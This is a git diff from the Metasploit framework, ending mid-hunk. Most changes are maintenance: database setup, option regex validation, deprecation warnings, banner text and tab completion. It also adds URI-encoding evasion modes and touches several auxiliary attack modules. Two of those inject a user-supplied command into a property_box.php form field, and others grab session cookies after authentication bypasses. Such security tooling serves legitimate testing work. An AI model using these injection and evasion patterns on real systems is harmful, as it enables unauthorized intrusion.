||||
def initialize_metasploit_data_models
|
||||
# Provide access to ActiveRecord models shared w/ commercial versions
|
||||
require "metasploit_data_models"
|
||||
def add_rails_engine_migration_paths
|
||||
unless defined? ActiveRecord
|
||||
fail "Bundle installed '--without #{Bundler.settings.without.join(' ')}'. To clear the without option do " \
|
||||
"`bundle install --without ''` (the --without flag with an empty string) or `rm -rf .bundle` to remove " \
|
||||
"the .bundle/config manually and then `bundle install`"
|
||||
end
|
||||
|
||||
metasploit_data_model_migrations_pathname = MetasploitDataModels.root.join(
|
||||
'db',
|
||||
'migrate'
|
||||
)
|
||||
metasploit_data_model_migrations_path = metasploit_data_model_migrations_pathname.to_s
|
||||
Rails.application.railties.engines.each do |engine|
|
||||
migrations_paths = engine.paths['db/migrate'].existent_directories
|
||||
|
||||
migrations_paths.each do |migrations_path|
|
||||
# Since ActiveRecord::Migrator.migrations_paths can persist between
|
||||
# instances of Msf::DBManager, such as in specs,
|
||||
# metasploit_data_models_migrations_path may already be part of
|
||||
# migrations_path may already be part of
|
||||
# migrations_paths, in which case it should not be added or multiple
|
||||
# migrations with the same version number errors will occur.
|
||||
unless ActiveRecord::Migrator.migrations_paths.include? metasploit_data_model_migrations_path
|
||||
ActiveRecord::Migrator.migrations_paths << metasploit_data_model_migrations_path
|
||||
unless ActiveRecord::Migrator.migrations_paths.include? migrations_path
|
||||
ActiveRecord::Migrator.migrations_paths << migrations_path
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -259,7 +253,13 @@ class DBManager
|
|||
errstr = e.to_s
|
||||
if errstr =~ /does not exist/i or errstr =~ /Unknown database/
|
||||
ilog("Database doesn't exist \"#{opts['database']}\", attempting to create it.")
|
||||
ActiveRecord::Base.establish_connection(opts.merge('database' => nil))
|
||||
ActiveRecord::Base.establish_connection(
|
||||
opts.merge(
|
||||
'database' => 'postgres',
|
||||
'schema_search_path' => 'public'
|
||||
)
|
||||
)
|
||||
|
||||
ActiveRecord::Base.connection.create_database(opts['database'])
|
||||
else
|
||||
ilog("Trying to continue despite failed database creation: #{e}")
|
||||
|
|
|
@ -58,7 +58,7 @@ module Exploit::Remote::HttpClient
|
|||
|
||||
register_evasion_options(
|
||||
[
|
||||
OptEnum.new('HTTP::uri_encode_mode', [false, 'Enable URI encoding', 'hex-normal', ['none', 'hex-normal', 'hex-all', 'hex-random', 'u-normal', 'u-all', 'u-random']]),
|
||||
OptEnum.new('HTTP::uri_encode_mode', [false, 'Enable URI encoding', 'hex-normal', ['none', 'hex-normal', 'hex-noslashes', 'hex-random', 'hex-all', 'u-normal', 'u-all', 'u-random']]),
|
||||
OptBool.new('HTTP::uri_full_url', [false, 'Use the full URL for all HTTP requests', false]),
|
||||
OptInt.new('HTTP::pad_method_uri_count', [false, 'How many whitespace characters to use between the method and uri', 1]),
|
||||
OptInt.new('HTTP::pad_uri_version_count', [false, 'How many whitespace characters to use between the uri and version', 1]),
|
||||
|
|
|
@ -33,18 +33,34 @@ module Msf::Module::Deprecated
|
|||
end
|
||||
|
||||
# (see ClassMethods#replacement_module)
|
||||
def replacement_module; self.class.replacement_module; end
|
||||
def replacement_module
|
||||
if self.class.instance_variable_defined?(:@replacement_module)
|
||||
return self.class.replacement_module
|
||||
elsif self.class.const_defined?(:DEPRECATION_REPLACEMENT)
|
||||
return self.class.const_get(:DEPRECATION_REPLACEMENT)
|
||||
end
|
||||
end
|
||||
|
||||
# (see ClassMethods#deprecation_date)
|
||||
def deprecation_date; self.class.deprecation_date; end
|
||||
def deprecation_date
|
||||
if self.class.instance_variable_defined?(:@deprecation_date)
|
||||
return self.class.deprecation_date
|
||||
elsif self.class.const_defined?(:DEPRECATION_DATE)
|
||||
return self.class.const_get(:DEPRECATION_DATE)
|
||||
end
|
||||
end
|
||||
|
||||
# Extends with {ClassMethods}
|
||||
def self.included(base)
|
||||
base.extend(ClassMethods)
|
||||
end
|
||||
|
||||
def setup
|
||||
# Print the module deprecation information
|
||||
#
|
||||
# @return [void]
|
||||
def print_deprecation_warning
|
||||
print_warning("*"*72)
|
||||
print_warning("*%red"+"This module is deprecated!".center(70)+"%clr*")
|
||||
print_warning("*%red"+"The module #{refname} is deprecated!".center(70)+"%clr*")
|
||||
if deprecation_date
|
||||
print_warning("*"+"It will be removed on or about #{deprecation_date}".center(70)+"*")
|
||||
end
|
||||
|
@ -52,6 +68,15 @@ module Msf::Module::Deprecated
|
|||
print_warning("*"+"Use #{replacement_module} instead".center(70)+"*")
|
||||
end
|
||||
print_warning("*"*72)
|
||||
end
|
||||
|
||||
def generate
|
||||
print_deprecation_warning
|
||||
super
|
||||
end
|
||||
|
||||
def setup
|
||||
print_deprecation_warning
|
||||
super
|
||||
end
|
||||
|
||||
|
|
|
@ -20,6 +20,7 @@ class OptBase
|
|||
# attrs[1] = description (string)
|
||||
# attrs[2] = default value
|
||||
# attrs[3] = possible enum values
|
||||
# attrs[4] = Regex to validate the option
|
||||
#
|
||||
def initialize(in_name, attrs = [])
|
||||
self.name = in_name
|
||||
|
@ -29,6 +30,21 @@ class OptBase
|
|||
self.desc = attrs[1]
|
||||
self.default = attrs[2]
|
||||
self.enums = [ *(attrs[3]) ].map { |x| x.to_s }
|
||||
regex_temp = attrs[4] || nil
|
||||
if regex_temp
|
||||
# convert to string
|
||||
regex_temp = regex_temp.to_s if regex_temp.is_a? Regexp
|
||||
# remove start and end character, they will be added later
|
||||
regex_temp = regex_temp.sub(/^\^/, '').sub(/\$$/, '')
|
||||
# Add start and end marker to match the whole regex
|
||||
regex_temp = "^#{regex_temp}$"
|
||||
begin
|
||||
Regexp.compile(regex_temp)
|
||||
self.regex = regex_temp
|
||||
rescue RegexpError, TypeError => e
|
||||
raise("Invalid Regex #{regex_temp}: #{e}")
|
||||
end
|
||||
end
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -63,7 +79,18 @@ class OptBase
|
|||
# If it's required and the value is nil or empty, then it's not valid.
|
||||
#
|
||||
def valid?(value)
|
||||
return (required? and (value == nil or value.to_s.empty?)) ? false : true
|
||||
if required?
|
||||
# required variable not set
|
||||
return false if (value == nil or value.to_s.empty?)
|
||||
end
|
||||
if regex
|
||||
if value.match(regex)
|
||||
return true
|
||||
else
|
||||
return false
|
||||
end
|
||||
end
|
||||
return true
|
||||
end
|
||||
|
||||
#
|
||||
|
@ -125,6 +152,10 @@ class OptBase
|
|||
# The list of potential valid values
|
||||
#
|
||||
attr_accessor :enums
|
||||
#
|
||||
# A optional regex to validate the option value
|
||||
#
|
||||
attr_accessor :regex
|
||||
|
||||
protected
|
||||
|
||||
|
|
|
@ -344,7 +344,7 @@ class Core
|
|||
# Restore the prompt
|
||||
prompt = framework.datastore['Prompt'] || Msf::Ui::Console::Driver::DefaultPrompt
|
||||
prompt_char = framework.datastore['PromptChar'] || Msf::Ui::Console::Driver::DefaultPromptChar
|
||||
driver.update_prompt("#{prompt}", prompt_char, true)
|
||||
driver.update_prompt("#{prompt} ", prompt_char, true)
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -384,40 +384,42 @@ class Core
|
|||
def cmd_banner(*args)
|
||||
banner = "%cya" + Banner.to_s + "%clr\n\n"
|
||||
|
||||
if is_apt
|
||||
# These messages should /not/ show up when you're on a git checkout;
|
||||
# you're a developer, so you already know all this.
|
||||
if (is_apt || binary_install)
|
||||
content = [
|
||||
"Large pentest? List, sort, group, tag and search your hosts and services\nin Metasploit Pro -- type 'go_pro' to launch it now.",
|
||||
"Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with\nMetasploit Pro -- type 'go_pro' to launch it now.",
|
||||
"Save your shells from AV! Upgrade to advanced AV evasion using dynamic\nexe templates with Metasploit Pro -- type 'go_pro' to launch it now.",
|
||||
"Easy phishing: Set up email templates, landing pages and listeners\nin Metasploit Pro's wizard -- type 'go_pro' to launch it now.",
|
||||
"Using notepad to track pentests? Have Metasploit Pro report on hosts,\nservices, sessions and evidence -- type 'go_pro' to launch it now.",
|
||||
"Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro\n-- type 'go_pro' to launch it now."
|
||||
"Trouble managing data? List, sort, group, tag and search your pentest data\nin Metasploit Pro -- learn more on http://rapid7.com/metasploit",
|
||||
"Frustrated with proxy pivoting? Upgrade to layer-2 VPN pivoting with\nMetasploit Pro -- learn more on http://rapid7.com/metasploit",
|
||||
"Payload caught by AV? Fly under the radar with Dynamic Payloads in\nMetasploit Pro -- learn more on http://rapid7.com/metasploit",
|
||||
"Easy phishing: Set up email templates, landing pages and listeners\nin Metasploit Pro -- learn more on http://rapid7.com/metasploit",
|
||||
"Taking notes in notepad? Have Metasploit Pro track & report\nyour progress and findings -- learn more on http://rapid7.com/metasploit",
|
||||
"Tired of typing 'set RHOSTS'? Click & pwn with Metasploit Pro\nLearn more on http://rapid7.com/metasploit",
|
||||
"Love leveraging credentials? Check out bruteforcing\nin Metasploit Pro -- learn more on http://rapid7.com/metasploit",
|
||||
"Save 45% of your time on large engagements with Metasploit Pro\nLearn more on http://rapid7.com/metasploit",
|
||||
"Validate lots of vulnerabilities to demonstrate exposure\nwith Metasploit Pro -- Learn more on http://rapid7.com/metasploit"
|
||||
]
|
||||
banner << content.sample # Ruby 1.9-ism!
|
||||
banner << "\n\n"
|
||||
end
|
||||
|
||||
banner << " =[ %yelmetasploit v#{Msf::Framework::Version} [core:#{Msf::Framework::VersionCore} api:#{Msf::Framework::VersionAPI}]%clr ]\n"
|
||||
banner << "+ -- --=[ "
|
||||
banner << "#{framework.stats.num_exploits} exploits - #{framework.stats.num_auxiliary} auxiliary - #{framework.stats.num_post} post ]\n"
|
||||
banner << "+ -- --=[ "
|
||||
|
||||
oldwarn = nil
|
||||
avdwarn = nil
|
||||
|
||||
banner << "#{framework.stats.num_payloads} payloads - #{framework.stats.num_encoders} encoders - #{framework.stats.num_nops} nops ]\n"
|
||||
if ( ::Msf::Framework::RepoRevision.to_i > 0 and ::Msf::Framework::RepoUpdatedDate)
|
||||
tstamp = ::Msf::Framework::RepoUpdatedDate.strftime("%Y.%m.%d")
|
||||
banner << " =[ svn r#{::Msf::Framework::RepoRevision} updated #{::Msf::Framework::RepoUpdatedDaysNote} (#{tstamp})\n"
|
||||
if(::Msf::Framework::RepoUpdatedDays > 7)
|
||||
oldwarn = []
|
||||
oldwarn << "Warning: This copy of the Metasploit Framework was last updated #{::Msf::Framework::RepoUpdatedDaysNote}."
|
||||
oldwarn << " We recommend that you update the framework at least every other day."
|
||||
oldwarn << " For information on updating your copy of Metasploit, please see:"
|
||||
oldwarn << " https://community.rapid7.com/docs/DOC-1306"
|
||||
oldwarn << ""
|
||||
end
|
||||
end
|
||||
banner_trailers = {
|
||||
:version => "%yelmetasploit v#{Msf::Framework::Version} [core:#{Msf::Framework::VersionCore} api:#{Msf::Framework::VersionAPI}]%clr",
|
||||
:exp_aux_pos => "#{framework.stats.num_exploits} exploits - #{framework.stats.num_auxiliary} auxiliary - #{framework.stats.num_post} post",
|
||||
:pay_enc_nop => "#{framework.stats.num_payloads} payloads - #{framework.stats.num_encoders} encoders - #{framework.stats.num_nops} nops",
|
||||
:free_trial => "Free Metasploit Pro trial: http://r-7.co/trymsp",
|
||||
:padding => 48
|
||||
}
|
||||
|
||||
banner << (" =[ %-#{banner_trailers[:padding]+8}s]\n" % banner_trailers[:version])
|
||||
banner << ("+ -- --=[ %-#{banner_trailers[:padding]}s]\n" % banner_trailers[:exp_aux_pos])
|
||||
banner << ("+ -- --=[ %-#{banner_trailers[:padding]}s]\n" % banner_trailers[:pay_enc_nop])
|
||||
|
||||
# TODO: People who are already on a Pro install shouldn't see this.
|
||||
# It's hard for Framework to tell the difference though since
|
||||
# license details are only in Pro -- we can't see them from here.
|
||||
banner << ("+ -- --=[ %-#{banner_trailers[:padding]}s]\n" % banner_trailers[:free_trial])
|
||||
|
||||
if ::Msf::Framework::EICARCorrupted
|
||||
avdwarn = []
|
||||
|
@ -428,22 +430,9 @@ class Core
|
|||
avdwarn << ""
|
||||
end
|
||||
|
||||
# We're running a two week survey to gather feedback from users.
|
||||
# Let's make sure we reach regular msfconsole users.
|
||||
# TODO: Get rid of this sometime after 2014-01-23
|
||||
survey_expires = Time.new(2014,"Jan",22,23,59,59,"-05:00")
|
||||
if Time.now.to_i < survey_expires.to_i
|
||||
banner << "+ -- --=[ Answer Q's about Metasploit and win a WiFi Pineapple Mk5 ]\n"
|
||||
banner << "+ -- --=[ http://bit.ly/msfsurvey (Expires #{survey_expires.ctime}) ]\n"
|
||||
end
|
||||
|
||||
# Display the banner
|
||||
print_line(banner)
|
||||
|
||||
if(oldwarn)
|
||||
oldwarn.map{|line| print_line(line) }
|
||||
end
|
||||
|
||||
if(avdwarn)
|
||||
avdwarn.map{|line| print_error(line) }
|
||||
end
|
||||
|
@ -2033,6 +2022,19 @@ class Core
|
|||
end
|
||||
end
|
||||
|
||||
unless str.blank?
|
||||
res = res.select { |term| term.upcase.start_with?(str.upcase) }
|
||||
res = res.map { |term|
|
||||
if str == str.upcase
|
||||
str + term[str.length..-1].upcase
|
||||
elsif str == str.downcase
|
||||
str + term[str.length..-1].downcase
|
||||
else
|
||||
str + term[str.length..-1]
|
||||
end
|
||||
}
|
||||
end
|
||||
|
||||
return res
|
||||
end
|
||||
|
||||
|
@ -2620,7 +2622,7 @@ class Core
|
|||
if mod # if there is an active module, give them the fanciness they have come to expect
|
||||
driver.update_prompt("#{prompt} #{mod.type}(%bld%red#{mod.shortname}%clr) ", prompt_char, true)
|
||||
else
|
||||
driver.update_prompt("#{prompt}", prompt_char, true)
|
||||
driver.update_prompt("#{prompt} ", prompt_char, true)
|
||||
end
|
||||
|
||||
# dump the command's output so we can grep it
|
||||
|
@ -2730,6 +2732,8 @@ class Core
|
|||
# Is this option used by the active module?
|
||||
if (mod.options.include?(opt))
|
||||
res.concat(option_values_dispatch(mod.options[opt], str, words))
|
||||
elsif (mod.options.include?(opt.upcase))
|
||||
res.concat(option_values_dispatch(mod.options[opt.upcase], str, words))
|
||||
end
|
||||
|
||||
# How about the selected payload?
|
||||
|
@ -2737,6 +2741,8 @@ class Core
|
|||
p = framework.payloads.create(mod.datastore['PAYLOAD'])
|
||||
if (p and p.options.include?(opt))
|
||||
res.concat(option_values_dispatch(p.options[opt], str, words))
|
||||
elsif (p and p.options.include?(opt.upcase))
|
||||
res.concat(option_values_dispatch(p.options[opt.upcase], str, words))
|
||||
end
|
||||
end
|
||||
|
||||
|
@ -2770,8 +2776,10 @@ class Core
|
|||
end
|
||||
|
||||
when 'Msf::OptAddressRange'
|
||||
|
||||
case str
|
||||
when /^file:(.*)/
|
||||
files = tab_complete_filenames($1, words)
|
||||
res += files.map { |f| "file:" + f } if files
|
||||
when /\/$/
|
||||
res << str+'32'
|
||||
res << str+'24'
|
||||
|
@ -2802,9 +2810,20 @@ class Core
|
|||
o.enums.each do |val|
|
||||
res << val
|
||||
end
|
||||
|
||||
when 'Msf::OptPath'
|
||||
files = tab_complete_filenames(str,words)
|
||||
files = tab_complete_filenames(str, words)
|
||||
res += files if files
|
||||
|
||||
when 'Msf::OptBool'
|
||||
res << 'true'
|
||||
res << 'false'
|
||||
|
||||
when 'Msf::OptString'
|
||||
if (str =~ /^file:(.*)/)
|
||||
files = tab_complete_filenames($1, words)
|
||||
res += files.map { |f| "file:" + f } if files
|
||||
end
|
||||
end
|
||||
|
||||
return res
|
||||
|
@ -3040,6 +3059,18 @@ class Core
|
|||
File.exists?(File.expand_path(File.join(msfbase_dir, '.apt')))
|
||||
end
|
||||
|
||||
# Determines if we're a Metasploit Pro/Community/Express
|
||||
# installation or a tarball/git checkout
|
||||
#
|
||||
# @return [Boolean] true if we are a binary install
|
||||
def binary_install
|
||||
binary_paths = [
|
||||
'C:/metasploit/apps/pro/msf3',
|
||||
'/opt/metasploit/apps/pro/msf3'
|
||||
]
|
||||
return binary_paths.include? Msf::Config.install_root
|
||||
end
|
||||
|
||||
#
|
||||
# Module list enumeration
|
||||
#
|
||||
|
|
|
@ -1304,26 +1304,38 @@ class Db
|
|||
print_line
|
||||
print_line "Filenames can be globs like *.xml, or **/*.xml which will search recursively"
|
||||
print_line "Currently supported file types include:"
|
||||
print_line " Acunetix XML"
|
||||
print_line " Acunetix"
|
||||
print_line " Amap Log"
|
||||
print_line " Amap Log -m"
|
||||
print_line " Appscan XML"
|
||||
print_line " Appscan"
|
||||
print_line " Burp Session XML"
|
||||
print_line " Foundstone XML"
|
||||
print_line " CI"
|
||||
print_line " Foundstone"
|
||||
print_line " FusionVM XML"
|
||||
print_line " IP Address List"
|
||||
print_line " IP360 ASPL"
|
||||
print_line " IP360 XML v3"
|
||||
print_line " Libpcap Packet Capture"
|
||||
print_line " Metasploit PWDump Export"
|
||||
print_line " Metasploit XML"
|
||||
print_line " Metasploit Zip Export"
|
||||
print_line " Microsoft Baseline Security Analyzer"
|
||||
print_line " Nessus NBE"
|
||||
print_line " Nessus XML (v1 and v2)"
|
||||
print_line " NetSparker XML"
|
||||
print_line " NeXpose Simple XML"
|
||||
print_line " NeXpose XML Report"
|
||||
print_line " Nessus NBE Report"
|
||||
print_line " Nessus XML (v1)"
|
||||
print_line " Nessus XML (v2)"
|
||||
print_line " NetSparker XML"
|
||||
print_line " Nikto XML"
|
||||
print_line " Nmap XML"
|
||||
print_line " OpenVAS Report"
|
||||
print_line " OpenVAS XML"
|
||||
print_line " Outpost24 XML"
|
||||
print_line " Qualys Asset XML"
|
||||
print_line " Qualys Scan XML"
|
||||
print_line " Retina XML"
|
||||
print_line " Spiceworks CSV Export"
|
||||
print_line " Wapiti XML"
|
||||
print_line
|
||||
end
|
||||
|
||||
|
|
|
@ -186,7 +186,7 @@ class Driver < Msf::Ui::Driver
|
|||
if (dbfile and File.exists? dbfile)
|
||||
if File.readable?(dbfile)
|
||||
dbinfo = YAML.load(File.read(dbfile))
|
||||
dbenv = opts['DatabaseEnv'] || "production"
|
||||
dbenv = opts['DatabaseEnv'] || Rails.env
|
||||
db = dbinfo[dbenv]
|
||||
else
|
||||
print_error("Warning, #{dbfile} is not readable. Try running as root or chmod.")
|
||||
|
|
|
@ -2,11 +2,12 @@
|
|||
# Use bundler to load dependencies
|
||||
#
|
||||
|
||||
ENV['BUNDLE_GEMFILE'] ||= ::File.expand_path(::File.join(::File.dirname(__FILE__), "..", "Gemfile"))
|
||||
begin
|
||||
require 'bundler/setup'
|
||||
rescue ::LoadError
|
||||
$stderr.puts "[*] Metasploit requires the Bundler gem to be installed"
|
||||
$stderr.puts " $ gem install bundler"
|
||||
exit(0)
|
||||
end
|
||||
# Override the normal rails default, so that msfconsole will come up in production mode instead of development mode
|
||||
# unless the `--environment` flag is passed.
|
||||
ENV['RAILS_ENV'] ||= 'production'
|
||||
|
||||
require 'pathname'
|
||||
root = Pathname.new(__FILE__).expand_path.parent.parent
|
||||
config = root.join('config')
|
||||
require config.join('boot')
|
||||
require config.join('environment')
|
||||
|
|
|
@ -40,7 +40,7 @@ class ClientRequest
|
|||
#
|
||||
'encode_params' => true,
|
||||
'encode' => false,
|
||||
'uri_encode_mode' => 'hex-normal', # hex-all, hex-random, u-normal, u-random, u-all
|
||||
'uri_encode_mode' => 'hex-normal', # hex-normal, hex-all, hex-noslashes, hex-random, u-normal, u-all, u-noslashes, u-random
|
||||
'uri_encode_count' => 1, # integer
|
||||
'uri_full_url' => false, # bool
|
||||
'pad_method_uri_count' => 1, # integer
|
||||
|
|
|
@ -788,15 +788,18 @@ module Text
|
|||
|
||||
return str if mode == 'none' # fast track no encoding
|
||||
|
||||
all = /[^\/\\]+/
|
||||
all = /./
|
||||
noslashes = /[^\/\\]+/
|
||||
# http://tools.ietf.org/html/rfc3986#section-2.3
|
||||
normal = /[^a-zA-Z0-9\/\\\.\-_~]+/
|
||||
|
||||
case mode
|
||||
when 'hex-normal'
|
||||
return str.gsub(normal) { |s| Rex::Text.to_hex(s, '%') }
|
||||
when 'hex-all'
|
||||
return str.gsub(all) { |s| Rex::Text.to_hex(s, '%') }
|
||||
when 'hex-normal'
|
||||
return str.gsub(normal) { |s| Rex::Text.to_hex(s, '%') }
|
||||
when 'hex-noslashes'
|
||||
return str.gsub(noslashes) { |s| Rex::Text.to_hex(s, '%') }
|
||||
when 'hex-random'
|
||||
res = ''
|
||||
str.each_byte do |c|
|
||||
|
@ -806,10 +809,12 @@ module Text
|
|||
b.gsub(normal){ |s| Rex::Text.to_hex(s, '%') } )
|
||||
end
|
||||
return res
|
||||
when 'u-normal'
|
||||
return str.gsub(normal) { |s| Rex::Text.to_hex(Rex::Text.to_unicode(s, 'uhwtfms'), '%u', 2) }
|
||||
when 'u-all'
|
||||
return str.gsub(all) { |s| Rex::Text.to_hex(Rex::Text.to_unicode(s, 'uhwtfms'), '%u', 2) }
|
||||
when 'u-normal'
|
||||
return str.gsub(normal) { |s| Rex::Text.to_hex(Rex::Text.to_unicode(s, 'uhwtfms'), '%u', 2) }
|
||||
when 'u-noslashes'
|
||||
return str.gsub(noslashes) { |s| Rex::Text.to_hex(Rex::Text.to_unicode(s, 'uhwtfms'), '%u', 2) }
|
||||
when 'u-random'
|
||||
res = ''
|
||||
str.each_byte do |c|
|
||||
|
|
|
@ -1,73 +0,0 @@
|
|||
load 'active_record/railties/databases.rake'
|
||||
|
||||
require 'metasploit/framework'
|
||||
require 'metasploit/framework/database'
|
||||
|
||||
# A modification to remove dependency on Rails.env
|
||||
#
|
||||
# @see https://github.com/rails/rails/blob/ddce29bfa12462fde2342a0c2bd0eefd420c0eab/activerecord/lib/active_record/railties/databases.rake#L550
|
||||
def configs_for_environment
|
||||
environments = [Metasploit::Framework.env]
|
||||
|
||||
if Metasploit::Framework.env.development?
|
||||
environments << 'test'
|
||||
end
|
||||
|
||||
environment_configurations = ActiveRecord::Base.configurations.values_at(*environments)
|
||||
present_environment_configurations = environment_configurations.compact
|
||||
valid_environment_configurations = present_environment_configurations.reject { |config|
|
||||
config['database'].blank?
|
||||
}
|
||||
|
||||
valid_environment_configurations
|
||||
end
|
||||
|
||||
# emulate initializer "active_record.initialize_database" from active_record/railtie
|
||||
ActiveSupport.on_load(:active_record) do
|
||||
self.configurations = Metasploit::Framework::Database.configurations
|
||||
puts "Connecting to database specified by #{Metasploit::Framework::Database.configurations_pathname}"
|
||||
|
||||
spec = configurations[Metasploit::Framework.env]
|
||||
establish_connection(spec)
|
||||
end
|
||||
|
||||
#
|
||||
# Remove tasks that aren't supported
|
||||
#
|
||||
|
||||
Rake::TaskManager.class_eval do
|
||||
def remove_task(task_name)
|
||||
@tasks.delete(task_name.to_s)
|
||||
end
|
||||
end
|
||||
|
||||
Rake.application.remove_task('db:fixtures:load')
|
||||
|
||||
# completely replace db:load_config and db:seed as they will attempt to use
|
||||
# Rails.application, which does not exist
|
||||
Rake::Task['db:load_config'].clear
|
||||
Rake::Task['db:seed'].clear
|
||||
|
||||
db_namespace = namespace :db do
|
||||
task :load_config do
|
||||
ActiveRecord::Base.configurations = Metasploit::Framework::Database.configurations
|
||||
|
||||
ActiveRecord::Migrator.migrations_paths = [
|
||||
# rails isn't in Gemfile, so can't use the more appropriate
|
||||
# Metasploit::Engine.instance.paths['db/migrate'].to_a since using
|
||||
# Metasploit::Engine requires rails.
|
||||
MetasploitDataModels.root.join('db', 'migrate').to_s
|
||||
]
|
||||
end
|
||||
|
||||
desc 'Load the seed data from db/seeds.rb'
|
||||
task :seed do
|
||||
db_namespace['abort_if_pending_migrations'].invoke
|
||||
seeds_pathname = Metasploit::Framework.root.join('db', 'seeds.rb')
|
||||
|
||||
if seeds_pathname.exist?
|
||||
load(seeds_pathname)
|
||||
end
|
||||
end
|
||||
end
|
||||
|
|
@ -0,0 +1,7 @@
|
|||
namespace :db do
|
||||
# Add onto the task so that after adding Rails.application.paths['db/migrate']
|
||||
task :load_config do
|
||||
# It's important to call to_a or the paths will just be relative and not realpaths
|
||||
ActiveRecord::Migrator.migrations_paths += Metasploit::Credential::Engine.instance.paths['db/migrate'].to_a
|
||||
end
|
||||
end
|
|
@ -1,21 +0,0 @@
|
|||
# Rake tasks added for compatibility with rake tasks that depend on a Rails
|
||||
# environment, such as those in activerecord
|
||||
|
||||
# Would normally load config/environment.rb of the rails application.
|
||||
#
|
||||
# @see https://github.com/rails/rails/blob/e2908356672d4459ada0064f773efd820efda822/railties/lib/rails/application.rb#L190
|
||||
task :environment do
|
||||
# ensures that Mdm models are available for migrations which use the models
|
||||
MetasploitDataModels.require_models
|
||||
|
||||
# avoids the need for Rails.root in db:schema:dump
|
||||
schema_pathname = Metasploit::Framework.root.join('db', 'schema.rb')
|
||||
ENV['SCHEMA'] = schema_pathname.to_s
|
||||
end
|
||||
|
||||
# This would normally default RAILS_ENV to development if ENV['RAILS_ENV'] is
|
||||
# not set
|
||||
#
|
||||
# @see https://github.com/rails/rails/blob/1a275730b290c1f06d4e8df680d22ae1b41ab585/railties/lib/rails/tasks/misc.rake#L3
|
||||
task :rails_env do
|
||||
end
|
|
@ -130,7 +130,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
}, 25)
|
||||
|
||||
if res and res.code == 200
|
||||
if (res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/(.*); path=\//))
|
||||
cookies = res.get_cookies
|
||||
if cookies && cookies.match(/(.*); path=\//)
|
||||
cookie= $1
|
||||
print_status("Got cookie #{cookie}. Password reset was successful!\n")
|
||||
end
|
||||
|
|
|
@ -167,7 +167,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
|
||||
if res and res.code == 303 and res.headers['Location'] =~ /_h=([a-f0-9]*)/
|
||||
@token = $1
|
||||
if res.headers['Set-Cookie'] =~ /_hadmin=([a-f0-9]*)/
|
||||
if res.get_cookies =~ /_hadmin=([a-f0-9]*)/
|
||||
@session = $1
|
||||
return true
|
||||
end
|
||||
|
|
|
@ -113,7 +113,7 @@ class Metasploit4 < Msf::Auxiliary
|
|||
print_error($1)
|
||||
return
|
||||
else
|
||||
session = $1 if res.headers['Set-Cookie'] =~ /_vmdb_session=(\h*)/
|
||||
session = $1 if res.get_cookies =~ /_vmdb_session=(\h*)/
|
||||
|
||||
if session.nil?
|
||||
print_error('Failed to retrieve the current session id')
|
||||
|
|
|
@ -67,7 +67,7 @@ class Metasploit4 < Msf::Auxiliary
|
|||
print_error('Authentication failed')
|
||||
return
|
||||
else
|
||||
session = $1 if res.headers['Set-Cookie'] =~ /_session_id=([0-9a-f]*)/
|
||||
session = $1 if res.get_cookies =~ /_session_id=([0-9a-f]*)/
|
||||
|
||||
if session.nil?
|
||||
print_error('Failed to retrieve the current session id')
|
||||
|
|
|
@ -139,7 +139,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'method' => 'GET'
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/
|
||||
if res and res.code == 200 and res.get_cookies =~ /JSESSIONID=(.*);/
|
||||
first_session = $1
|
||||
end
|
||||
|
||||
|
@ -165,7 +165,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'cookie' => "JSESSIONID=#{first_session}"
|
||||
})
|
||||
|
||||
if res and res.code == 200 and res.headers['Set-Cookie'] =~ /JSESSIONID=(.*);/
|
||||
if res and res.code == 200 and res.get_cookies =~ /JSESSIONID=(.*);/
|
||||
@session = $1
|
||||
return true
|
||||
end
|
||||
|
|
|
@ -73,9 +73,9 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'uri' => '/admin/',
|
||||
}, 25)
|
||||
|
||||
if (res and res.code == 200)
|
||||
if res && res.code == 200
|
||||
|
||||
if (res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/JSESSIONID=(.*);(.*)/i))
|
||||
if res.get_cookies.match(/JSESSIONID=(.*);(.*)/i)
|
||||
|
||||
jsessionid = $1
|
||||
|
||||
|
|
|
@ -49,9 +49,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'method' => 'POST',
|
||||
}, 5)
|
||||
|
||||
if (res and res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/PHPSESSID=(.*);(.*)/i))
|
||||
|
||||
sessionid = res.headers['Set-Cookie'].split(';')[0]
|
||||
if res && res.get_cookies.match(/PHPSESSID=(.*);(.*)/i)
|
||||
|
||||
print_status("Sending command: #{datastore['CMD']}...")
|
||||
|
||||
|
@ -59,7 +57,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
{
|
||||
'uri' => '/property_box.php',
|
||||
'data' => 'type=Sections&vollist=75' + Rex::Text.uri_encode("&" + cmd),
|
||||
'cookie' => sessionid,
|
||||
'cookie' => res.get_cookies,
|
||||
'method' => 'POST',
|
||||
}, 5)
|
||||
|
||||
|
|
|
@ -46,9 +46,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'method' => 'POST',
|
||||
}, 5)
|
||||
|
||||
if (res and res.headers['Set-Cookie'] and res.headers['Set-Cookie'].match(/PHPSESSID=(.*);(.*)/i))
|
||||
|
||||
sessionid = res.headers['Set-Cookie'].split(';')[0]
|
||||
if res && res.get_cookies.match(/PHPSESSID=(.*);(.*)/i)
|
||||
|
||||
print_status("Sending command: #{datastore['CMD']}...")
|
||||
|
||||
|
@ -56,7 +54,7 @@ class Metasploit3 < Msf::Auxiliary
|
|||
{
|
||||
'uri' => '/property_box.php',
|
||||
'data' => 'type=Job&jlist=' + Rex::Text.uri_encode('&' + cmd),
|
||||
'cookie' => sessionid,
|
||||
'cookie' => res.get_cookies,
|
||||
'method' => 'POST',
|
||||
}, 5)
|
||||
|
||||
|
|
|
@ -68,8 +68,8 @@ class Metasploit3 < Msf::Auxiliary
|
|||
'data' => data
|
||||
}, 25)
|
||||
|
||||
